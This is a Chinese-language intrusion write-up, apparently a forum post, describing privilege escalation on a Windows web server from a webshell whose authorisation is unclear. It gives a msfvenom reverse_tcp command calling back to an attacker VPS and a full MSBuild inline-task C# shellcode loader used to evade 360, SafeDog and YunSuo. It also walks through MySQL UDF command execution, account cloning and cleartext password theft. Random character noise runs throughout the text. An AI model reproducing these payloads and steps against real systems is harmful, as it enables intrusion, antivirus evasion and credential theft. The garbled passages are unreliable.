白名单msbuild绕过360套装安全狗云锁提权

admin

0x00 前言

8 G# \% v- |9 M+ s9 t" N; t/ O1 l

& z, X1 d. K( h" O$ V 平常自己挺喜欢折腾的，有时候遇到一个好的突破点会折腾它个几天几夜，刚刚忙完护网，正准备修整几天，突然有人朋友联系我说有个任务需要搞进去，问我能行不能行，后来得知是已经拿到webshell了，通过一番努力便有了下文。 4 n( \; L( C! X; F* U1 k( b; w9 `

0x01 前期的信息刺探** + ?; z: M6 `" Y7 u4 h- H" I

0 C$ w4 g/ [4 x+ P/ A* G+ s 首先拿到webshell，发现phpshell只能访问shell所在目录，连网站根目录都跨不过去如图： * ]4 c. u. J1 V* Z$ J' s( o: T

V* x" h8 @. V j: b- K, n3 M) b! L
c盘d盘根目录就更别提跨过去了，随之执行一下命令看看，如图：

3 e/ y7 y2 F: R5 T# B

, e$ U8 J! Z& ]) b4 P

whoami等简单的命令可以跑起来，tasklist发现了 某某安全套装等安全防护进程进程，om my god,刺激，就喜欢这种各种需要绕的环境，既然能跑起命令来那就上免杀的exp来试着提一下（通过rar解压方法突破某防护程序上传），如图：

, |" C, {+ j: ^- k) m6 Q
经过测试发现，不管把exp放哪个目录都提示拒绝访问，特别是net命令都禁止执行，越发让我感觉是安装安全防护程序的缘故；

0x02 深入

通过msbuild.exe白名单方式运行metasploit payload绕过某安全程序调出w3wp.exe进程
0 k' A/ g: d0 R! I* |& e$ C- T; e在webshell执行直接执行rar程序一直提示拒绝访问如图： * ~8 w& ^' b1 x; @9 w9 J: F7 H

在实际做测试的时候发现windows下用shell反弹个cmdshell回来执行一些命令要比在webshell好许多，看官请看

成功将我们想要的exe程序解压到指定目录，webshell下是没法cd到rar目录的，现在能正常上传exe，我们看能不能想办法让咱们的msf不要闲下来，之前考虑用 php/meterpreter/reverse_tcp这个payload上线弹回meterpreter，但是弹回来什么权限也没，连ps进程命令都没法显示，这时候就想到了使用msbuild.exe白名单方式运行metasploit payload绕过某防护程序让msf上线，于是就开始动手，具体如下：
s8 g( ~( s/ Q+ ~- q+ b首先使用msf生成一个c#的payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=vpsip lport=443 -f csharp
( Q. F- W# s9 _( s5 ~代码如下：

: U6 ?6 s/ g+ o3 d$ \! m byte[] buf = new byte[179779] { 8 G3 [3 d' k+ S, }$ g

* e/ a/ y! w8 H* {7 C0 |% ` q3 F

  ( m# {: p, a. Z0 W) p# Y1 r

5 e9 u: r3 f5 z9 d7 j& U5 ?% Y

 

! N, b: R1 x5 @7 Z7 _ 0x8b,0x71,0x1c,0x85,0xf6,0x74,0x58,0x33,0xff,0x39,0x79,0x20,0x74,0x51,0x39,

8 c: c* m( p( N [8 A0 [

7 N" f; ^( E! i) }3 b1 | 0x79,0x24,0x74,0x4c,0x89,0x79,0x14,0x89,0x79,0x08,0x89,0x79,0x18,0xc7,0x41,

9 n# z! @6 ~3 }9 g6 @) R, A

0x2c,0x02,0x00,0x00,0x00,0x8b,0x46,0x08,0x89,0x7e,0x14,0x89,0x46,0x10,0x39,

3 M% a* J# x! h \! Y 0x7e,0x18,0x7d,0x03,0x89,0x7e,0x18,0x39,0x7e,0x18,0x6a,0x2a,0x58,0x6a,0x71,

- E$ W' t5 N E' _+ R 0x5a,0x0f,0x45,0xc2,0x89,0x46,0x04,0xc7,0x41,0x30,0x01,0x00,0x00,0x00,0x56, ' Y' b: B/ n8 L, q* F

. i" o) V' g z

5 T/ u# _0 u! r 0x89,0x7e,0x20,0xe8,0x88,0x07,0x00,0x00,0x56,0xe8,0x8a,0x15,0x00,0x00,0x59,

1 K; d4 B5 K7 S 0x59,0x33,0xc0,0xeb,0x03,0x6a,0xfe,0x58,0x5f,0x5e,0x5d,0xc3,0x55,0x8b,0xec, ; B7 n5 H- \# ]' C( c. [. K/ t

0x8b,0x4d,0x08,0x33,0xd2,0x56,0x57,0x85,0xc9,0x0f,0x84,0x8d,0x00,0x00,0x00, ; g9 c* o9 | U6 t7 m) {" J

( y& M% v6 \! ]7 f) G: O1 |

0x8b,0x71,0x1c,0x85,0xf6,0x0f,0x84,0x82,0x00,0x00,0x00,0x8b,0x7d,0x0c,0x83, , _5 z* Z9 Y: ~ [8 }

! B0 {9 ?7 {, b- i- y 0xff,0xff,0x6a,0x06,0x58,0x0f,0x44,0xf8,0x83,0xff,0x09,0x77,0x71,0x83,0x7d,

9 {! X$ I8 c& s

) X5 Z6 d% ]" H 0x10,0x02,0x77,0x6b,0x6b,0x46,0x7c,0x0c,0x53,0x6b,0xdf,0x0c,0x8b,0x80,0x00,

& ]+ p t" i$ y3 Q

' U& \. p9 i8 y. |8 @5 J 0x9d,0x02,0x10,0x3b,0x83,0x00,0x9d,0x02,0x10,0x74,0x11,0x39,0x51,0x08,0x74,

$ G* g G3 z; w0 f6 \* Y2 M- A/ B

0x0c,0x6a,0x01,0x51,0xe8,0x2b,0xf6,0xff,0xff,0x59,0x59,0x8b,0xd0,0x39,0x7e, + |$ ?6 y, @7 a

 0x7c,0x74,0x31。。。代码太长省略。。。 " Z: s2 Y1 ~6 x. `5 {& I" |4 p1 ~

H. }7 {1 K8 L

 }; ) x6 A# X/ p# L9 B* |6 z6 S

9 }' `7 }+ c3 m2 h! W/ D% H, H

6 ?8 S- n8 x2 w1 J, R6 s8 @8 M; e4 w   f; G8 q4 c/ V8 a. W

' ^+ Q( p* i* ^" T# K7 h               UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, * r+ m0 t1 I* e

7 i# y6 x+ I# O' W1 _) d8 m

# M) t6 y1 h( V2 R* B. ]                 MEM_COMMIT, PAGE_EXECUTE_READWRITE);

              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);

; O! G3 P8 b+ f2 _

5 J- f+ a; F5 X$ N7 M6 |              IntPtr hThread = IntPtr.Zero;

: V/ q6 l, K7 p. Q* |

             UInt32 threadId = 0;

: J {0 O9 a8 ]) D

              IntPtr pinfo = IntPtr.Zero;

& @, a% W l+ J7 _ Q0 O# {               hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); % d, g9 W1 F/ e6 y

; a% W5 H8 B6 {8 y. \0 j; }+ w- C

; J6 n9 C* j- R! u4 ?              WaitForSingleObject(hThread, 0xFFFFFFFF); , `7 N. p5 c; Y0 g$ ?4 Q2 n

* T0 l0 y3 e' Y. s3 c3 v             return true;

4 r- }3 f6 V) b9 P U4 f

          }

        }    

; |- D7 s' z2 l1 Z. P

       ]]> 6 Q* t/ }6 }: P% f

& F, G% `" B y; l n% d3 j

       </Code> ; k& M3 x+ i5 ~5 u& G

# U2 N$ j# Z& w; m! o) p# r

, W. g" y: b# f     </Task>

. n0 @! y5 K% k! D    </UsingTask>

' N7 |9 z$ D$ F s  </Project>

2 K8 j) J/ v) s( }) \* X. p( m 用msf生产的代码替换原始代码的内容，这是原始payload如下：

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">

- O& l9 v. u; b; \/ A" d   <!-- This inline task executes shellcode. -->

i# O' c. q! i0 U

  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj --> : t! h* ?+ `* n. n4 _

/ N; N# X. R7 k) K* B

  <!-- Save This File And Execute The Above Command --> # j, V9 B. B2 ` z3 r% H: ?

$ {" D+ b/ J9 m' P

6 K* h# {, \& A: D6 e! I; Z8 \& y; o   <!-- Author: Casey Smith, Twitter: @subTee --> ( ~/ ~" M* n& h

4 a- c5 \( t, |2 D! |   <!-- License: BSD 3-Clause --> 3 w6 W; P9 b( J$ _5 V) u

% O' g5 `0 v Q% Q

' i+ s0 l+ ^2 N, y* Q8 G   <Target Name="Hello">

" @& F0 R% p* |( }' [! `# L

    <ClassExample />

- l* _: R. _+ Y; T- a

  </Target> 4 K( [3 x5 F. e" I3 Y3 }% g$ [9 |

) P* q& ^. a! d+ u. y

: ^2 b! [. C' g3 F. z   <UsingTask

; t! j# e# C: E+ ]1 r

% T! h1 o, g/ E; `" y$ p: {8 P( m     TaskName="ClassExample"

N% m1 J, C g+ L

* g; A3 E2 H) I6 H( K; ?2 w     TaskFactory="CodeTaskFactory" , B9 v+ U5 @/ k5 B' e% B. P

/ @. b [* r: C* [) `0 h& X

    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > 9 E* n* X" h$ A3 H9 Y& l

7 y. u* ~2 V5 d5 Q7 ]% A     <Task> 1 G+ N! b5 j9 K0 x& z9 Y5 i

% f! N4 Q- k: h; u

# m0 e/ K7 W9 N0 |# k  

2 P8 k& w2 J( C

( _: |$ Z0 ~/ r# W       <Code Type="Class" Language="cs">

2 `2 h+ }' E1 b7 o( g

      <![CDATA[ s' m, Q% { E1 C7 `5 ^/ M

' L% m; M* K/ v

        using System; ; V! _+ y4 h3 C8 @8 M. Z3 G2 c

% I( X: n: U2 t' w. _: T- P

: z' V9 W- ?1 e         using System.Runtime.InteropServices; 1 w: ^6 Q( U3 |8 \4 v* H5 `

        using Microsoft.Build.Framework;

6 \ a+ p5 m- d" W

        using Microsoft.Build.Utilities;

! p* m+ O9 z* }, Y; E

7 a1 g( k. ~: @& A" Q         public class ClassExample :  Task, ITask

9 [; j1 v1 ]3 D, | y

' k; h8 h$ \2 R, }% G         {        

+ U, h- v z! [3 F# x

1 M. i& e$ D$ L0 k           private static UInt32 MEM_COMMIT = 0x1000;         

          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;         

) z- G! N5 |! U. N- O

          [DllImport("kernel32")] 8 ~; J% @4 a1 a

. W; h2 l. Z+ U5 t; k% n0 Z" X( T( ]" W

: M' S- X* A6 K6 H& y             private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, " `4 ]: m* @; y m7 z" d1 }

: t1 C9 Q6 t0 Z1 c5 ^

) z j3 N0 o( b; D' O" T* e- w$ `. G             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);         

. x( }8 Z6 e K/ l2 c+ h D* ~; R- ^) E           [DllImport("kernel32")] 6 E0 u. H% r3 j" ]/ u

; q( @5 ^" \, P! i

3 T4 K$ Z4 s6 P. T$ N             private static extern IntPtr CreateThread(            p6 ^2 Q. a& q- g# H

7 l8 H# o1 v! v. Y! h' k: R7 U

            UInt32 lpThreadAttributes, ! D, {. P' ~" d, W* _

5 r/ S# D/ N! A

            UInt32 dwStackSize,

            UInt32 lpStartAddress, ! e \4 z5 y% O" N" U2 D

$ F7 k' C v, A' J7 q# V

, V3 J, z9 `4 C5 ?+ a: M             IntPtr param,

. @* l; G* P! `& s |' l2 a

: \7 U! n0 U4 E" p, I             UInt32 dwCreationFlags, 9 K- |+ i* ^- A+ s! c. A5 P1 V! F

6 x7 p8 z/ }' C- L' l/ o

            ref UInt32 lpThreadId           ; O; m; t. O8 V0 V

) R, A; r4 K. Y: E             ); ! i- X5 g: X1 m

9 z6 |8 Y! B( N. V7 v

          [DllImport("kernel32")]

            private static extern UInt32 WaitForSingleObject(          

            IntPtr hHandle, ' m& t4 o8 `2 v* |

            UInt32 dwMilliseconds 7 x) q% J8 H8 A# {' h

1 P: a6 }5 J2 W, _) O5 x             );         

          public override bool Execute() 5 S+ I. q" E1 u" j' f- O. v1 p

- y- I$ ~5 m( p4 X8 @6 ^: J* C           { + u1 @$ h8 p" b, q: k+ X7 Z

3 ?+ w: Q! `% u' X8 F             byte[] shellcode = new byte[179779] { 7 I9 T2 D/ p- v, }6 Q3 ~+ T

5 S$ e7 ]8 F; h5 V! y4 X2 Q( v

5 r5 I/ k. L! X/ Y* N x4 t! x             这里是msf生成的c# shellcode,代码太长省略  . F% \2 f! t; k" ]/ t9 q

3 k! X$ a p, ^# \9 v

            };

7 _2 @9 |" x$ I S" [

% _2 |* S! q' L& v             UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, 5 [8 s5 c( G0 s1 w+ R: Y c- L4 e7 y1 E

# ]8 T$ M9 X8 [                 MEM_COMMIT, PAGE_EXECUTE_READWRITE);

z% Q" _+ ^) `% ?: j% x) C               Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);

( y, u% L& ~; G( w# b. }" O

              IntPtr hThread = IntPtr.Zero; & ]* D" O4 F9 }

              UInt32 threadId = 0;

              IntPtr pinfo = IntPtr.Zero;

              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);

6 D$ ?. P A) v5 `& d' @3 s4 }

              WaitForSingleObject(hThread, 0xFFFFFFFF); 6 Z4 R7 D% t% T. T) j. L& \& `

+ h- f {. B) n

8 F: t& b: V6 Z5 {2 c               return true;

2 y E& I! C5 t6 u0 _0 g

          } . O. g; N6 t0 E% M

        }    

* }( B: b$ b4 Y" t( V- [. a

      ]]> 3 q" ~+ x7 ~; F: G

$ ^. u: a" B Q4 `. m/ |

      </Code>

9 B4 r y$ _# h1 g1 z9 z' u

Y% Z4 g/ M. u0 J* @& {. U     </Task> ' i2 p0 D+ Y8 e1 K* i1 f9 O9 k: I+ f

8 @, y3 R: \, d+ n$ Z/ A4 z# q' k   </UsingTask>

) \# Y, T. d* r! _8 ` </Project> . d4 ]$ ^$ I% x5 w2 t! q

_+ C( w% t/ r7 {( b

需要注意的是必须改成shellcode如图：

: t' n; K% U2 u8 C/ k# c然后上传到web目录，nc反弹继续执行如下命令： 4 d) T/ y8 Q( v# S8 H) M

+ f: M( Z0 \0 r

: |6 Z5 Z8 \; v3 H* E4 X7 D( m cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\

1 c$ u6 S* m9 M) V0 Q7 q msbuild.exe D:\1\1111.com\uploadfile\19200\443.csproj % V/ F$ r) c q! o8 r$ ?- c% ^

这时候监听好的msf就会返回一个meterpreter如图：

8 g- s/ M1 n0 y/ u2 r* j [试着在shell和meterpreter下执行exp都提示拒绝访问，如图：
+ i$ A5 ~# W r5 r+ y# p
% n C* f! F7 ^7 Y但是测试upload上传命令确实是成功调出w3wp.exe 进程，经过一番努力无果，只好换思路解决。 # k) M7 N. q8 p7 A/ E

$ B0 f# e2 r4 G& A3 n; n) n

* j0 |2 @0 f# q% l, A1 c# b: i 0x03 MySQL udf提权

: Z+ ^1 z% j* k

3 D' y1 W& ^4 b! B* o9 P4 C 通过上面的一些测试，已经无望了，这时候就想着用其他办法，经过测试发现网站支持asp，就上传了一个aspshell，各种翻目录各种测试，终于在网站的二级目录数据库配置文件发现了mysql root密码，OK，上传udf提权php马，在具体测试过程中发现，市面上的udf Php工具都被某安全程序被杀了，我发现把被杀的php后缀修改为csproj上传不杀了，要不然无论把被杀的php换成什么后缀名都不行，然后再通过PHP包含这个文件，就可以突破了（也不知道算不算是个某防护程序的一个bug，总之用这种办法让udf工具跑起来了），如图： 8 C, {$ ^& `5 W6 R" u

: {. V* w9 S; H2 M9 d$ M然后按常规导入dll,提示dll导入成功，创建sys_eval 函数执行命令，却又提示函数不存在如：FUNCTION mysql.sys_eval does not exist，在测试过程没少折腾，用portfwd命令转发目标3306到本地，利用sqlmap -d 上传dll提示不成功，后来用--file-write命令上传dll到system32下也失败了，但是发现上传非二进制的文件的话是成功的，后来通过查看权限证明不是权限问题如图：
0 } P, v) t) H2 eselect * from mysql.user where user = substring_index(user(), '@', 1) ; $ ]1 R: `+ ?4 d+ d/ K

q& h9 b& w0 L" C- b+ k6 [; \

: d) l0 Q8 E! D9 R4 ~& X2 L
权限都很OK，很悲催dll被禁止上传，可恶的安全防护呀，通过查询发现几个自定义函数，如图：

6 L- E9 m, u7 a/ F! H' U3 H& i' w发现udf.dll已经被占坑了，我们查询一下看看
select hex(load_file('c:/windows/system32/udf.dll'));如图： 8 o6 F1 S" Z( u8 B" R, e I( M

8 F9 v8 D3 E8 Z/ R1 x4 T$ v; R2 g
# [6 G7 f/ R! d& C我们利用php环境把它转成dll，代码如下： 3 @0 R' Q6 o. e: }

/ q$ J2 Q( o, C) B/ j8 n

6 B- P3 ?& y3 c" _7 [ <?php % ?$ i7 D: j. } A, Q" N7 Y7 L# l

echo file_put_contents('udf.dll',hex2bin("这里为sql查询出来的值")); / A0 Z1 r6 h- A' J- i. z

$ ?9 u7 K! ~1 x. Z6 }; L

?>

8 y, u" c* \( j" R

成功把它还原成dll文件，用c32am打开看一下他的用法如图： ' t5 v( O. w# J, }7 c

% t# P* c6 J% |, @; u

. z2 r4 o7 ^! M3 Q: @( @
看看这个shell函数的用法， 6 P7 Z/ l* W* ^' Y6 m+ B

9 G2 ]8 H! o% Z- e

正好和dll里面的信息一致，但是在测试的过程中发现cmd那个参数用法没法执行命令会卡死，后来试了exec，select shell('exec','whoami');，如图： ! ?: H5 k0 s, B" `: R. g8 _, Q+ o

/ A8 \. H9 U6 [1 |3 k8 t' a" U$ c
8 Y3 j+ r; B4 P+ H) P G5 i说明这个exec可以绕过安全防护执行命令，接下来的测试中打算使用msf来操作，于是给目录上传了个免杀的msf工具，过全世界所有的杀毒用法 msf vpsip 443，但是监听好的msf一直没返回来meterpreter，后来没办法又用白名单执行命令成功上线（奇怪的还在后面）命令如下：select shell('exec','C:/Windows/Microsoft.NET/Framework/v4.0.30319/msbuild.exe D://1//xxoo.com//uploadfile//19200//443.csproj');注意斜杠问题否则执行出错

, V d7 k1 Y; A# o- @' g0 {7 `: Y
( W( T6 `; h% t2 Q/ ^$ _- G, f3 N但是奇怪的是已经成了system权限却没办法shell，这也正是这个目标奇葩的地方，执行shell卡死，后来ps了一下进程发现administrator的进程migrate pid，然后再执行shell成功执行，并且也可以执行net user 等命令如图：

# o) N ^% [% q. E# ]

很OK，直接net user添加账号肯定不行，利用userclone克隆添加账号密码，账号添加成功，但是加入到管理员组失败，手里有杀某防护程序的神器，但是似乎用不上，杀完需要重启动静太大，OK，这时候发现administrator在线直接上传getpassword64免杀版抓明文密码，得到administrator的明文密码，试着用msf模块抓一下密码，如下：
: o- `3 U/ {- {4 ?# I
没有成功，因为之前也踩点发现3389没有被某防护程序加入主机名或者ip认证，可以正常登录，所以也不涉及绕过认证登录的问题。登录如图： / w6 m* `" z% H' o5 u% E- o

& H) m& G3 \& p" ]) g5 z& z

& M4 {4 t5 v0 B

2 X& T2 ~, Y! Q$ K9 g7 l) E) x; @, u* X 渗透到此就结束了。

% g: q! Q6 r" t0 ?5 @& k: o 0x04另一个案例绕做组策略限制执行命令

! N$ h* N5 ]+ x, C6 L

主要还是白名单绕过执行程序及配合udf提权，碰到前人留下的udf后门直接提到system，剩下就是一顿乱折腾，不过也不白折腾，摸着石头过河没什么不好；第一次在先知改版后写文章，文章排版之类的还是不太熟悉，可能写的不尽人意，还是请多包涵。。。。。这里要感谢先知V师傅，莫须有等好兄弟的大力支持，一晚上陪我熬夜。。。

$ o2 }+ w4 \( c7 J; j

) d. a5 q& @3 m4 d8 x : B1 q* ]8 @. g6 V' i8 Y* g

5 y& a- [' I. V7 r! d0 g

命令跑起来了，最起码遇到不能执行命令的时候用白名单执行可以继续开展下一步工作，或者利用msf的load powershell也行继续搞，哈哈 ' ?% ?" k' R5 M* C4 B

0x05 总结

  2 R# q7 R' r9 n4 E8 v/ W% s; L" j

6 ]; f7 i( k' c/ [

黑客是一种精神，虽然我不是黑客，但是我崇拜这种精神，什么精神？就是永不言败，勇于突破，敢于挑战，崇尚自由的这种精神或者神经，值得各行各业的人学习。（自从学了黑客，人也变得踏实了，也不虚上跳下，也不让家里人觉得这个人不成熟、不靠谱，总之学黑客，得永生，黑客大法好！！！加油兄弟们！） ) M) m" X0 [3 X: u( m) E5 O

; g/ n! D7 w7 {/ ?5 N: `, ?' v! _